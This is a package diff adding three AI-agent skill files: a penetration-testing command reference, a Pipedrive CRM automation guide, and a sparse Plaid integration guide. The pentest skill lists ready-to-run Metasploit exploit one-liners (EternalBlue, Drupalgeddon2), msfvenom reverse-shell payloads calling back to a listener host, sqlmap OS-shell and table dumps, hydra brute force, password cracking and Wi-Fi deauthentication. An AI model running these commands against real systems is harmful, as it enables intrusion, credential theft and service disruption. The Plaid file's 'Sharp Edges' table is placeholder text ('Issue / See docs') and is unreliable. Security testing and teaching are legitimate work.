gkt-node 3.3.0

package/assets/.agent/skills/pentest-commands/SKILL.md

@@ -0,0 +1,438 @@
+---
+name: Pentest Commands
+description: This skill should be used when the user asks to "run pentest commands", "scan with nmap", "use metasploit exploits", "crack passwords with hydra or john", "scan web vulnerabilities with nikto", "enumerate networks", or needs essential penetration testing command references.
+metadata:
+  author: zebbern
+  version: "1.1"
+---
+
+# Pentest Commands
+
+## Purpose
+
+Provide a comprehensive command reference for penetration testing tools including network scanning, exploitation, password cracking, and web application testing. Enable quick command lookup during security assessments.
+
+## Inputs/Prerequisites
+
+- Kali Linux or penetration testing distribution
+- Target IP addresses with authorization
+- Wordlists for brute forcing
+- Network access to target systems
+- Basic understanding of tool syntax
+
+## Outputs/Deliverables
+
+- Network enumeration results
+- Identified vulnerabilities
+- Exploitation payloads
+- Cracked credentials
+- Web vulnerability findings
+
+## Core Workflow
+
+### 1. Nmap Commands
+
+**Host Discovery:**
+
+```bash
+# Ping sweep
+nmap -sP 192.168.1.0/24
+
+# List IPs without scanning
+nmap -sL 192.168.1.0/24
+
+# Ping scan (host discovery)
+nmap -sn 192.168.1.0/24
+```
+
+**Port Scanning:**
+
+```bash
+# TCP SYN scan (stealth)
+nmap -sS 192.168.1.1
+
+# Full TCP connect scan
+nmap -sT 192.168.1.1
+
+# UDP scan
+nmap -sU 192.168.1.1
+
+# All ports (1-65535)
+nmap -p- 192.168.1.1
+
+# Specific ports
+nmap -p 22,80,443 192.168.1.1
+```
+
+**Service Detection:**
+
+```bash
+# Service versions
+nmap -sV 192.168.1.1
+
+# OS detection
+nmap -O 192.168.1.1
+
+# Comprehensive scan
+nmap -A 192.168.1.1
+
+# Skip host discovery
+nmap -Pn 192.168.1.1
+```
+
+**NSE Scripts:**
+
+```bash
+# Vulnerability scan
+nmap --script vuln 192.168.1.1
+
+# SMB enumeration
+nmap --script smb-enum-shares -p 445 192.168.1.1
+
+# HTTP enumeration
+nmap --script http-enum -p 80 192.168.1.1
+
+# Check EternalBlue
+nmap --script smb-vuln-ms17-010 192.168.1.1
+
+# Check MS08-067
+nmap --script smb-vuln-ms08-067 192.168.1.1
+
+# SSH brute force
+nmap --script ssh-brute -p 22 192.168.1.1
+
+# FTP anonymous
+nmap --script ftp-anon 192.168.1.1
+
+# DNS brute force
+nmap --script dns-brute 192.168.1.1
+
+# HTTP methods
+nmap -p80 --script http-methods 192.168.1.1
+
+# HTTP headers
+nmap -p80 --script http-headers 192.168.1.1
+
+# SQL injection check
+nmap --script http-sql-injection -p 80 192.168.1.1
+```
+
+**Advanced Scans:**
+
+```bash
+# Xmas scan
+nmap -sX 192.168.1.1
+
+# ACK scan (firewall detection)
+nmap -sA 192.168.1.1
+
+# Window scan
+nmap -sW 192.168.1.1
+
+# Traceroute
+nmap --traceroute 192.168.1.1
+```
+
+### 2. Metasploit Commands
+
+**Basic Usage:**
+
+```bash
+# Launch Metasploit
+msfconsole
+
+# Search for exploits
+search type:exploit name:smb
+
+# Use exploit
+use exploit/windows/smb/ms17_010_eternalblue
+
+# Show options
+show options
+
+# Set target
+set RHOST 192.168.1.1
+
+# Set payload
+set PAYLOAD windows/meterpreter/reverse_tcp
+
+# Run exploit
+exploit
+```
+
+**Common Exploits:**
+
+```bash
+# EternalBlue
+msfconsole -x "use exploit/windows/smb/ms17_010_eternalblue; set RHOST 192.168.1.1; exploit"
+
+# MS08-067 (Conficker)
+msfconsole -x "use exploit/windows/smb/ms08_067_netapi; set RHOST 192.168.1.1; exploit"
+
+# vsftpd backdoor
+msfconsole -x "use exploit/unix/ftp/vsftpd_234_backdoor; set RHOST 192.168.1.1; exploit"
+
+# Shellshock
+msfconsole -x "use exploit/linux/http/apache_mod_cgi_bash_env_exec; set RHOST 192.168.1.1; exploit"
+
+# Drupalgeddon2
+msfconsole -x "use exploit/unix/webapp/drupal_drupalgeddon2; set RHOST 192.168.1.1; exploit"
+
+# PSExec
+msfconsole -x "use exploit/windows/smb/psexec; set RHOST 192.168.1.1; set SMBUser user; set SMBPass pass; exploit"
+```
+
+**Scanners:**
+
+```bash
+# TCP port scan
+msfconsole -x "use auxiliary/scanner/portscan/tcp; set RHOSTS 192.168.1.0/24; run"
+
+# SMB version scan
+msfconsole -x "use auxiliary/scanner/smb/smb_version; set RHOSTS 192.168.1.0/24; run"
+
+# SMB share enumeration
+msfconsole -x "use auxiliary/scanner/smb/smb_enumshares; set RHOSTS 192.168.1.0/24; run"
+
+# SSH brute force
+msfconsole -x "use auxiliary/scanner/ssh/ssh_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
+
+# FTP brute force
+msfconsole -x "use auxiliary/scanner/ftp/ftp_login; set RHOSTS 192.168.1.0/24; set USER_FILE users.txt; set PASS_FILE passwords.txt; run"
+
+# RDP scanning
+msfconsole -x "use auxiliary/scanner/rdp/rdp_scanner; set RHOSTS 192.168.1.0/24; run"
+```
+
+**Handler Setup:**
+
+```bash
+# Multi-handler for reverse shells
+msfconsole -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp; set LHOST 192.168.1.2; set LPORT 4444; exploit"
+```
+
+**Payload Generation (msfvenom):**
+
+```bash
+# Windows reverse shell
+msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f exe > shell.exe
+
+# Linux reverse shell
+msfvenom -p linux/x64/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f elf > shell.elf
+
+# PHP reverse shell
+msfvenom -p php/reverse_php LHOST=192.168.1.2 LPORT=4444 -f raw > shell.php
+
+# ASP reverse shell
+msfvenom -p windows/shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f asp > shell.asp
+
+# WAR file
+msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.1.2 LPORT=4444 -f war > shell.war
+
+# Python payload
+msfvenom -p cmd/unix/reverse_python LHOST=192.168.1.2 LPORT=4444 -f raw > shell.py
+```
+
+### 3. Nikto Commands
+
+```bash
+# Basic scan
+nikto -h http://192.168.1.1
+
+# Comprehensive scan
+nikto -h http://192.168.1.1 -C all
+
+# Output to file
+nikto -h http://192.168.1.1 -output report.html
+
+# Plugin-based scans
+nikto -h http://192.168.1.1 -Plugins robots
+nikto -h http://192.168.1.1 -Plugins shellshock
+nikto -h http://192.168.1.1 -Plugins heartbleed
+nikto -h http://192.168.1.1 -Plugins ssl
+
+# Export to Metasploit
+nikto -h http://192.168.1.1 -Format msf+
+
+# Specific tuning
+nikto -h http://192.168.1.1 -Tuning 1  # Interesting files only
+```
+
+### 4. SQLMap Commands
+
+```bash
+# Basic injection test
+sqlmap -u "http://192.168.1.1/page?id=1"
+
+# Enumerate databases
+sqlmap -u "http://192.168.1.1/page?id=1" --dbs
+
+# Enumerate tables
+sqlmap -u "http://192.168.1.1/page?id=1" -D database --tables
+
+# Dump table
+sqlmap -u "http://192.168.1.1/page?id=1" -D database -T users --dump
+
+# OS shell
+sqlmap -u "http://192.168.1.1/page?id=1" --os-shell
+
+# POST request
+sqlmap -u "http://192.168.1.1/login" --data="user=admin&pass=test"
+
+# Cookie injection
+sqlmap -u "http://192.168.1.1/page" --cookie="id=1*"
+
+# Bypass WAF
+sqlmap -u "http://192.168.1.1/page?id=1" --tamper=space2comment
+
+# Risk and level
+sqlmap -u "http://192.168.1.1/page?id=1" --risk=3 --level=5
+```
+
+### 5. Hydra Commands
+
+```bash
+# SSH brute force
+hydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://192.168.1.1
+
+# FTP brute force
+hydra -l admin -P /usr/share/wordlists/rockyou.txt ftp://192.168.1.1
+
+# HTTP POST form
+hydra -l admin -P passwords.txt 192.168.1.1 http-post-form "/login:user=^USER^&pass=^PASS^:Invalid"
+
+# HTTP Basic Auth
+hydra -l admin -P passwords.txt 192.168.1.1 http-get /admin/
+
+# SMB brute force
+hydra -l admin -P passwords.txt smb://192.168.1.1
+
+# RDP brute force
+hydra -l admin -P passwords.txt rdp://192.168.1.1
+
+# MySQL brute force
+hydra -l root -P passwords.txt mysql://192.168.1.1
+
+# Username list
+hydra -L users.txt -P passwords.txt ssh://192.168.1.1
+```
+
+### 6. John the Ripper Commands
+
+```bash
+# Crack password file
+john hash.txt
+
+# Specify wordlist
+john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
+
+# Show cracked passwords
+john hash.txt --show
+
+# Specify format
+john hash.txt --format=raw-md5
+john hash.txt --format=nt
+john hash.txt --format=sha512crypt
+
+# SSH key passphrase
+ssh2john id_rsa > ssh_hash.txt
+john ssh_hash.txt --wordlist=/usr/share/wordlists/rockyou.txt
+
+# ZIP password
+zip2john file.zip > zip_hash.txt
+john zip_hash.txt
+```
+
+### 7. Aircrack-ng Commands
+
+```bash
+# Monitor mode
+airmon-ng start wlan0
+
+# Capture packets
+airodump-ng wlan0mon
+
+# Target specific network
+airodump-ng -c 6 --bssid AA:BB:CC:DD:EE:FF -w capture wlan0mon
+
+# Deauth attack
+aireplay-ng -0 10 -a AA:BB:CC:DD:EE:FF wlan0mon
+
+# Crack WPA handshake
+aircrack-ng -w /usr/share/wordlists/rockyou.txt capture-01.cap
+```
+
+### 8. Wireshark/Tshark Commands
+
+```bash
+# Capture traffic
+tshark -i eth0 -w capture.pcap
+
+# Read capture file
+tshark -r capture.pcap
+
+# Filter by protocol
+tshark -r capture.pcap -Y "http"
+
+# Filter by IP
+tshark -r capture.pcap -Y "ip.addr == 192.168.1.1"
+
+# Extract HTTP data
+tshark -r capture.pcap -Y "http" -T fields -e http.request.uri
+```
+
+## Quick Reference
+
+### Common Port Scans
+
+```bash
+# Quick scan
+nmap -F 192.168.1.1
+
+# Full comprehensive
+nmap -sV -sC -A -p- 192.168.1.1
+
+# Fast with version
+nmap -sV -T4 192.168.1.1
+```
+
+### Password Hash Types
+
+| Mode | Type |
+|------|------|
+| 0 | MD5 |
+| 100 | SHA1 |
+| 1000 | NTLM |
+| 1800 | sha512crypt |
+| 3200 | bcrypt |
+| 13100 | Kerberoast |
+
+## Constraints
+
+- Always have written authorization
+- Some scans are noisy and detectable
+- Brute forcing may lock accounts
+- Rate limiting affects tools
+
+## Examples
+
+### Example 1: Quick Vulnerability Scan
+
+```bash
+nmap -sV --script vuln 192.168.1.1
+```
+
+### Example 2: Web App Test
+
+```bash
+nikto -h http://target && sqlmap -u "http://target/page?id=1" --dbs
+```
+
+## Troubleshooting
+
+| Issue | Solution |
+|-------|----------|
+| Scan too slow | Increase timing (-T4, -T5) |
+| Ports filtered | Try different scan types |
+| Exploit fails | Check target version compatibility |
+| Passwords not cracking | Try larger wordlists, rules |

package/assets/.agent/skills/pipedrive-automation/SKILL.md

@@ -0,0 +1,224 @@
+---
+name: pipedrive-automation
+description: "Automate Pipedrive CRM operations including deals, contacts, organizations, activities, notes, and pipeline management via Rube MCP (Composio). Always search tools first for current schemas."
+requires:
+  mcp: [rube]
+---
+
+# Pipedrive Automation via Rube MCP
+
+Automate Pipedrive CRM workflows including deal management, contact and organization operations, activity scheduling, notes, and pipeline/stage queries through Composio's Pipedrive toolkit.
+
+## Prerequisites
+
+- Rube MCP must be connected (RUBE_SEARCH_TOOLS available)
+- Active Pipedrive connection via `RUBE_MANAGE_CONNECTIONS` with toolkit `pipedrive`
+- Always call `RUBE_SEARCH_TOOLS` first to get current tool schemas
+
+## Setup
+
+**Get Rube MCP**: Add `https://rube.app/mcp` as an MCP server in your client configuration. No API keys needed — just add the endpoint and it works.
+
+
+1. Verify Rube MCP is available by confirming `RUBE_SEARCH_TOOLS` responds
+2. Call `RUBE_MANAGE_CONNECTIONS` with toolkit `pipedrive`
+3. If connection is not ACTIVE, follow the returned auth link to complete Pipedrive OAuth
+4. Confirm connection status shows ACTIVE before running any workflows
+
+## Core Workflows
+
+### 1. Create and Manage Deals
+
+**When to use**: User wants to create a new deal, update an existing deal, or review deal details in the sales pipeline.
+
+**Tool sequence**:
+1. `PIPEDRIVE_SEARCH_ORGANIZATIONS` - Find existing org to link to the deal [Optional]
+2. `PIPEDRIVE_ADD_AN_ORGANIZATION` - Create organization if none found [Optional]
+3. `PIPEDRIVE_SEARCH_PERSONS` - Find existing contact to link [Optional]
+4. `PIPEDRIVE_ADD_A_PERSON` - Create contact if none found [Optional]
+5. `PIPEDRIVE_GET_ALL_PIPELINES` - Resolve pipeline ID [Prerequisite]
+6. `PIPEDRIVE_GET_ALL_STAGES` - Resolve stage ID within the pipeline [Prerequisite]
+7. `PIPEDRIVE_ADD_A_DEAL` - Create the deal with title, value, org_id, person_id, stage_id [Required]
+8. `PIPEDRIVE_UPDATE_A_DEAL` - Modify deal properties after creation [Optional]
+9. `PIPEDRIVE_ADD_A_PRODUCT_TO_A_DEAL` - Attach line items/products [Optional]
+
+**Key parameters**:
+- `title`: Deal title (required for creation)
+- `value`: Monetary value of the deal
+- `currency`: 3-letter ISO currency code (e.g., "USD")
+- `pipeline_id` / `stage_id`: Numeric IDs for pipeline placement
+- `org_id` / `person_id`: Link to organization and contact
+- `status`: "open", "won", or "lost"
+- `expected_close_date`: Format YYYY-MM-DD
+
+**Pitfalls**:
+- `title` is the only required field for `PIPEDRIVE_ADD_A_DEAL`; all others are optional
+- Custom fields appear as long hash keys in responses; use dealFields endpoint to map them
+- `PIPEDRIVE_UPDATE_A_DEAL` requires the numeric `id` of the deal
+- Setting `status` to "lost" requires also providing `lost_reason`
+
+### 2. Manage Contacts (Persons and Organizations)
+
+**When to use**: User wants to create, update, search, or list contacts and companies in Pipedrive.
+
+**Tool sequence**:
+1. `PIPEDRIVE_SEARCH_PERSONS` - Search for existing person by name, email, or phone [Prerequisite]
+2. `PIPEDRIVE_ADD_A_PERSON` - Create new contact if not found [Required]
+3. `PIPEDRIVE_UPDATE_A_PERSON` - Modify existing contact details [Optional]
+4. `PIPEDRIVE_GET_DETAILS_OF_A_PERSON` - Retrieve full contact record [Optional]
+5. `PIPEDRIVE_SEARCH_ORGANIZATIONS` - Search for existing organization [Prerequisite]
+6. `PIPEDRIVE_ADD_AN_ORGANIZATION` - Create new organization if not found [Required]
+7. `PIPEDRIVE_UPDATE_AN_ORGANIZATION` - Modify organization properties [Optional]
+8. `PIPEDRIVE_GET_DETAILS_OF_AN_ORGANIZATION` - Retrieve full org record [Optional]
+
+**Key parameters**:
+- `name`: Required for both person and organization creation
+- `email`: Array of objects with `value`, `label`, `primary` fields for persons
+- `phone`: Array of objects with `value`, `label`, `primary` fields for persons
+- `org_id`: Link a person to an organization
+- `visible_to`: 1 = owner only, 3 = entire company
+- `term`: Search term for SEARCH_PERSONS / SEARCH_ORGANIZATIONS (minimum 2 characters)
+
+**Pitfalls**:
+- `PIPEDRIVE_ADD_AN_ORGANIZATION` may auto-merge with an existing org; check `response.additional_data.didMerge`
+- Email and phone fields are arrays of objects, not plain strings: `[{"value": "test@example.com", "label": "work", "primary": true}]`
+- `PIPEDRIVE_SEARCH_PERSONS` wildcards like `*` or `@` are NOT supported; use `PIPEDRIVE_GET_ALL_PERSONS` to list all
+- Deletion via `PIPEDRIVE_DELETE_A_PERSON` or `PIPEDRIVE_DELETE_AN_ORGANIZATION` is soft-delete with 30-day retention, then permanent
+
+### 3. Schedule and Track Activities
+
+**When to use**: User wants to create calls, meetings, tasks, or other activities linked to deals, contacts, or organizations.
+
+**Tool sequence**:
+1. `PIPEDRIVE_SEARCH_PERSONS` or `PIPEDRIVE_GET_DETAILS_OF_A_DEAL` - Resolve linked entity IDs [Prerequisite]
+2. `PIPEDRIVE_ADD_AN_ACTIVITY` - Create the activity with subject, type, due date [Required]
+3. `PIPEDRIVE_UPDATE_AN_ACTIVITY` - Modify activity details or mark as done [Optional]
+4. `PIPEDRIVE_GET_DETAILS_OF_AN_ACTIVITY` - Retrieve activity record [Optional]
+5. `PIPEDRIVE_GET_ALL_ACTIVITIES_ASSIGNED_TO_A_PARTICULAR_USER` - List user's activities [Optional]
+
+**Key parameters**:
+- `subject`: Activity title (required)
+- `type`: Activity type key string, e.g., "call", "meeting", "task", "email" (required)
+- `due_date`: Format YYYY-MM-DD
+- `due_time`: Format HH:MM
+- `duration`: Format HH:MM (e.g., "00:30" for 30 minutes)
+- `deal_id` / `person_id` / `org_id`: Link to related entities
+- `done`: 0 = not done, 1 = done
+
+**Pitfalls**:
+- Both `subject` and `type` are required for `PIPEDRIVE_ADD_AN_ACTIVITY`
+- `type` must match an existing ActivityTypes key_string in the account
+- `done` is an integer (0 or 1), not a boolean
+- Response includes `more_activities_scheduled_in_context` in additional_data
+
+### 4. Add and Manage Notes
+
+**When to use**: User wants to attach notes to deals, persons, organizations, leads, or projects.
+
+**Tool sequence**:
+1. `PIPEDRIVE_SEARCH_PERSONS` or `PIPEDRIVE_GET_DETAILS_OF_A_DEAL` - Resolve entity ID [Prerequisite]
+2. `PIPEDRIVE_ADD_A_NOTE` - Create note with HTML content linked to an entity [Required]
+3. `PIPEDRIVE_UPDATE_A_NOTE` - Modify note content [Optional]
+4. `PIPEDRIVE_GET_ALL_NOTES` - List notes filtered by entity [Optional]
+5. `PIPEDRIVE_GET_ALL_COMMENTS_FOR_A_NOTE` - Retrieve comments on a note [Optional]
+
+**Key parameters**:
+- `content`: Note body in HTML format (required)
+- `deal_id` / `person_id` / `org_id` / `lead_id` / `project_id`: At least one entity link required
+- `pinned_to_deal_flag` / `pinned_to_person_flag`: Filter pinned notes when listing
+
+**Pitfalls**:
+- `content` is required and supports HTML; plain text works but is sanitized server-side
+- At least one of `deal_id`, `person_id`, `org_id`, `lead_id`, or `project_id` must be provided
+- `PIPEDRIVE_GET_ALL_NOTES` returns notes across all entities by default; filter with entity ID params
+
+### 5. Query Pipelines and Stages
+
+**When to use**: User wants to view sales pipelines, stages, or deals within a pipeline/stage.
+
+**Tool sequence**:
+1. `PIPEDRIVE_GET_ALL_PIPELINES` - List all pipelines and their IDs [Required]
+2. `PIPEDRIVE_GET_ONE_PIPELINE` - Get details and deal summary for a specific pipeline [Optional]
+3. `PIPEDRIVE_GET_ALL_STAGES` - List all stages, optionally filtered by pipeline [Required]
+4. `PIPEDRIVE_GET_ONE_STAGE` - Get details for a specific stage [Optional]
+5. `PIPEDRIVE_GET_DEALS_IN_A_PIPELINE` - List all deals across stages in a pipeline [Optional]
+6. `PIPEDRIVE_GET_DEALS_IN_A_STAGE` - List deals in a specific stage [Optional]
+
+**Key parameters**:
+- `id`: Pipeline or stage ID (required for single-item endpoints)
+- `pipeline_id`: Filter stages by pipeline
+- `totals_convert_currency`: 3-letter currency code or "default_currency" for converted totals
+- `get_summary`: Set to 1 for deal summary in pipeline responses
+
+**Pitfalls**:
+- `PIPEDRIVE_GET_ALL_PIPELINES` takes no parameters; returns all pipelines
+- `PIPEDRIVE_GET_ALL_STAGES` returns stages for ALL pipelines unless `pipeline_id` is specified
+- Deal counts in pipeline summaries use `per_stages_converted` only when `totals_convert_currency` is set
+
+## Common Patterns
+
+### ID Resolution
+Always resolve display names to numeric IDs before operations:
+- **Organization name -> org_id**: `PIPEDRIVE_SEARCH_ORGANIZATIONS` with `term` param
+- **Person name -> person_id**: `PIPEDRIVE_SEARCH_PERSONS` with `term` param
+- **Pipeline name -> pipeline_id**: `PIPEDRIVE_GET_ALL_PIPELINES` then match by name
+- **Stage name -> stage_id**: `PIPEDRIVE_GET_ALL_STAGES` with `pipeline_id` then match by name
+
+### Pagination
+Most list endpoints use offset-based pagination:
+- Use `start` (offset) and `limit` (page size) parameters
+- Check `additional_data.pagination.more_items_in_collection` to know if more pages exist
+- Use `additional_data.pagination.next_start` as the `start` value for the next page
+- Default limit is ~500 for some endpoints; set explicitly for predictable paging
+
+## Known Pitfalls
+
+### ID Formats
+- All entity IDs (deal, person, org, activity, pipeline, stage) are numeric integers
+- Lead IDs are UUID strings, not integers
+- Custom field keys are long alphanumeric hashes (e.g., "a1b2c3d4e5f6...")
+
+### Rate Limits
+- Pipedrive enforces per-company API rate limits; bulk operations should be paced
+- `PIPEDRIVE_GET_ALL_PERSONS` and `PIPEDRIVE_GET_ALL_ORGANIZATIONS` can return large datasets; always paginate
+
+### Parameter Quirks
+- Email and phone on persons are arrays of objects, not plain strings
+- `visible_to` is numeric: 1 = owner only, 3 = entire company, 5 = specific groups
+- `done` on activities is integer 0/1, not boolean true/false
+- Organization creation may auto-merge duplicates silently; check `didMerge` in response
+- `PIPEDRIVE_SEARCH_PERSONS` requires minimum 2 characters and does not support wildcards
+
+### Response Structure
+- Custom fields appear as hash keys in responses; map them via the respective Fields endpoints
+- Responses often nest data under `response.data.data` in wrapped executions
+- Search results are under `response.data.items`, not top-level
+
+## Quick Reference
+
+| Task | Tool Slug | Key Params |
+|------|-----------|------------|
+| Create deal | `PIPEDRIVE_ADD_A_DEAL` | `title`, `value`, `org_id`, `stage_id` |
+| Update deal | `PIPEDRIVE_UPDATE_A_DEAL` | `id`, `status`, `value`, `stage_id` |
+| Get deal details | `PIPEDRIVE_GET_DETAILS_OF_A_DEAL` | `id` |
+| Search persons | `PIPEDRIVE_SEARCH_PERSONS` | `term`, `fields` |
+| Add person | `PIPEDRIVE_ADD_A_PERSON` | `name`, `email`, `phone`, `org_id` |
+| Update person | `PIPEDRIVE_UPDATE_A_PERSON` | `id`, `name`, `email` |
+| Get person details | `PIPEDRIVE_GET_DETAILS_OF_A_PERSON` | `id` |
+| List all persons | `PIPEDRIVE_GET_ALL_PERSONS` | `start`, `limit`, `filter_id` |
+| Search organizations | `PIPEDRIVE_SEARCH_ORGANIZATIONS` | `term`, `fields` |
+| Add organization | `PIPEDRIVE_ADD_AN_ORGANIZATION` | `name`, `visible_to` |
+| Update organization | `PIPEDRIVE_UPDATE_AN_ORGANIZATION` | `id`, `name`, `address` |
+| Get org details | `PIPEDRIVE_GET_DETAILS_OF_AN_ORGANIZATION` | `id` |
+| Add activity | `PIPEDRIVE_ADD_AN_ACTIVITY` | `subject`, `type`, `due_date`, `deal_id` |
+| Update activity | `PIPEDRIVE_UPDATE_AN_ACTIVITY` | `id`, `done`, `due_date` |
+| Get activity details | `PIPEDRIVE_GET_DETAILS_OF_AN_ACTIVITY` | `id` |
+| List user activities | `PIPEDRIVE_GET_ALL_ACTIVITIES_ASSIGNED_TO_A_PARTICULAR_USER` | `user_id`, `start`, `limit` |
+| Add note | `PIPEDRIVE_ADD_A_NOTE` | `content`, `deal_id` or `person_id` |
+| List notes | `PIPEDRIVE_GET_ALL_NOTES` | `deal_id`, `person_id`, `start`, `limit` |
+| List pipelines | `PIPEDRIVE_GET_ALL_PIPELINES` | (none) |
+| Get pipeline details | `PIPEDRIVE_GET_ONE_PIPELINE` | `id` |
+| List stages | `PIPEDRIVE_GET_ALL_STAGES` | `pipeline_id` |
+| Deals in pipeline | `PIPEDRIVE_GET_DEALS_IN_A_PIPELINE` | `id`, `stage_id` |
+| Deals in stage | `PIPEDRIVE_GET_DEALS_IN_A_STAGE` | `id`, `start`, `limit` |
+| Add product to deal | `PIPEDRIVE_ADD_A_PRODUCT_TO_A_DEAL` | `id`, `product_id`, `item_price` |

package/assets/.agent/skills/plaid-fintech/SKILL.md

@@ -0,0 +1,50 @@
+---
+name: plaid-fintech
+description: "Expert patterns for Plaid API integration including Link token flows, transactions sync, identity verification, Auth for ACH, balance checks, webhook handling, and fintech compliance best practices. Use when: plaid, bank account linking, bank connection, ach, account aggregation."
+source: vibeship-spawner-skills (Apache 2.0)
+---
+
+# Plaid Fintech
+
+## Patterns
+
+### Link Token Creation and Exchange
+
+Create a link_token for Plaid Link, exchange public_token for access_token.
+Link tokens are short-lived, one-time use. Access tokens don't expire but
+may need updating when users change passwords.
+
+
+### Transactions Sync
+
+Use /transactions/sync for incremental transaction updates. More efficient
+than /transactions/get. Handle webhooks for real-time updates instead of
+polling.
+
+
+### Item Error Handling and Update Mode
+
+Handle ITEM_LOGIN_REQUIRED errors by putting users through Link update mode.
+Listen for PENDING_DISCONNECT webhook to proactively prompt users.
+
+
+## Anti-Patterns
+
+### ❌ Storing Access Tokens in Plain Text
+
+### ❌ Polling Instead of Webhooks
+
+### ❌ Ignoring Item Errors
+
+## ⚠️ Sharp Edges
+
+| Issue | Severity | Solution |
+|-------|----------|----------|
+| Issue | critical | See docs |
+| Issue | high | See docs |
+| Issue | high | See docs |
+| Issue | high | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |
+| Issue | medium | See docs |